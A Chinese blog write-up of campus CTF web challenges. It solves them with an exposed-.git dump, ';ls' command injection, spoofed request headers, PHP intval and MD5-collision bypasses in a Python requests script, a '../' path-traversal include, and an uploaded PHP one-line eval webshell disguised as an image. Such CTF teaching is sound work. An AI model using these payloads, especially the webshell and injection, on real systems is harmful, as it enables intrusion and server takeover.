2025ctf校内赛Web

[Week1] Gitttttttt

在githack源代码目录中打开cmd输入

1
python githack.py 靶机地址/.git/

打开所下载的文件夹,找到flag{}

[Week1] Ping??

打开靶机发现界面
输入;ls查看目录列表,出现flag.txtindex.php
如图
直接在url后加入/flag.txt获取flag。
如图

[Week1] from_http

打开靶机界面
发现要求使用?CTFBrowser浏览器访问
使用Burp Suite拦截请求包,将User-Agent:栏修改为?CTFBrowser发送请求
发现出现新的要求要求
如图输入后出现新的要求要求
注意:输入POST请求时必须要有Content-Type 头部没有这个头部,服务器可能无法正确解析 POST 参数。

照要求输入后出现新的要求要求
按要求设置好cookie后题目需要请求来源为?CTF
按要求添加Referer:?CTF即可,然后题目要求只能从本地访问,按要求在正文处添加X-Forwarded-For: 127.0.0.1伪装成本地请求即可。
最后最后得到flag。

[Week1] secret of php

第一关

首先打开靶机,如图图
分析代码发现,为了通过代码中的检查,需要

  1. a 不能严格等于字符串 "2025"(即 $a === “2025” 为 false)。
  2. intval(a, 0) 必须严格等于整数 2025(即 intval(a, 0) === 2025 为 true)。
  • intval(a, 0) 函数在基数为 0 时会自动检测字符串的进制:
  • 如果字符串以 0x0X开头,被视为十六进制。
  • 如果字符串以 0 开头,被视为八进制。
    否则被视为十进制。
    因此,可以通过以下方式构造 $a 的值:
    使用八进制表示:03751(八进制的 03751 等于十进制的 2025)。
    使用十六进制表示:0x7e9 0x7E9(十六进制的 0x7e9 等于十进制的 2025)。
    使用带空格的字符串: 2025(前导空格)或 2025 (尾随空格),因为 intval 会忽略前导和尾随空格。

因此在url后加入/?a= 2025(前导空格),通过第一关。
通过

第二关

按照要求在url后加入/Flll4g.php出现第二关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
include('flag.php');
$a = $_POST['a'];
$b = $_POST['b'];

if (isset($a) && isset($b)){
if ($a !== $b && md5($a) == md5($b)){
echo "<br>yes<br>";
} else {
die("no");
}
$a = $_REQUEST['aa'];
$b = $_REQUEST['bb'];
if ($a !== $b && md5((string)$a) === md5((string)$b)){
echo "yes yes<br>";
} else {
die("no no");
}
$a = $_REQUEST['aaa'];
$b = $_REQUEST['bbb'];
if ((string)$a !== (string)$b && md5((string)$a) === md5((string)$b)){
echo "yes yes yes<br>";
echo "Congratulations! You have passed the second level, the flag is ".$flag."<br>";
} else {
die("no no no");
}
} else {
echo "a or b is not set<br>";
}
a or b is not set

首先,我们整体分析代码,可知这其中又有3关

第一关:if ($a !== $b && md5($a) == md5($b))
第二关:if ($a !== $b && md5((string)$a) === md5((string)$b))
第三关:if ((string)$a !== (string)$b && md5((string)$a) === md5((string)$b))

注意:第一关使用的是弱类型比较(==),第二关和第三关使用的是强类型比较(===)

通过对代码进行分析我们可知:

第一关:$a !== $b 且 md5($a) == md5($b)
这里要求$a和$b不同,但md5值弱类型相等

第二关:$a !== $b 且 md5((string)$a) === md5((string)$b)
这里要求强类型比较,所以必须让两个字符串的MD5值完全相同。我们可以使用MD5碰撞,例如使用两个不同的二进制字符串,它们的MD5值相同。
但是注意,这里传入的$a和$b会被转换成字符串,然后计算MD5,并且要求强类型相等。所以我们需要两个不同的字符串,但是它们的MD5值相同。

第三关:(string)$a !== (string)$b 且 md5((string)$a) === md5((string)$b)
同样需要两个不同的字符串,但是MD5值相同。
所以通过分析我们利用python编写一段脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import binascii

url = "http://example/Flll4g.php"

# MD5碰撞的十六进制数据
hex1 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2'
hex2 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2'

# 转换为二进制
bin1 = binascii.unhexlify(hex1)
bin2 = binascii.unhexlify(hex2)

# 发送请求
files = {
'a': (None, '240610708'),
'b': (None, 'QNKCDZO'),
'aa[]': (None, '1'),
'bb[]': (None, '2'),
'aaa': (None, bin1),
'bbb': (None, bin2),
}

response = requests.post(url, files=files)
print(response.text)

成功获取flagflag
我尝试了很多种其他方式,每次都是在第三关卡住。那为什么这种方法能行呢?
1.使用真正的MD5碰撞对
这两个十六进制字符串是著名的MD5碰撞对,它们是不同的二进制数据,但产生完全相同的MD5哈希值。
2.二进制转换
binascii.unhexlify() 将十六进制字符串转换为原始二进制数据,确保数据完整性。
3.使用files参数发送二进制数据
files参数会使用multipart/form-data编码,这种编码可以安全传输二进制数据,不会因字符编码而损坏,每个字段作为单独的部分发送,保持数据完整性

[Week1] 前端小游戏

打开靶机靶机
先利用开发人员工具分析程序源代码,发现:
发现
因此我们只需要让分数小于0即可获取flag,但是有没有一种更简单的方法呢?当然有!只需要更改源代码即可
如图
更改后利用ctrl+s保存
最后成功获取flag
flag

[Week1] 包含不明东西的食物?!

首先我们进入靶机,利用F12打开开发人员工具查看前端文件,有两行字引起了我们的注意

1
2
<!--flag在flag.txt中-->
<!--大厨会include你输入的内容哦~-->

发现
我们先尝试性的输入flag.txt点击投入,返回内容
返回内容
发现前面包含4个目录。
于是我们利用目录遍历攻击在flag.txt前加入../来跳过前面的目录,因为前面有4个目录需要跳过,所以输入../../../../flag.txt来跳过目录,最终成功获取flag。
flag

[Week2] Only Picture Up

首先获取靶机
靶机
利用文本文档编辑一个最常⻅的⼀句话⽊⻢,将其写⼊txt中,改后缀名字为任意图⽚即可上传成功

1
2
3
<?php 
@eval($_POST['cmd']);
?>

使用蚁剑访问
访问
成功获取flag
flag


2025ctf校内赛Web
https://linsport.github.io/2025/11/09/ctf/2025校内赛Web题/
作者
sport lin
发布于
2025年11月9日
许可协议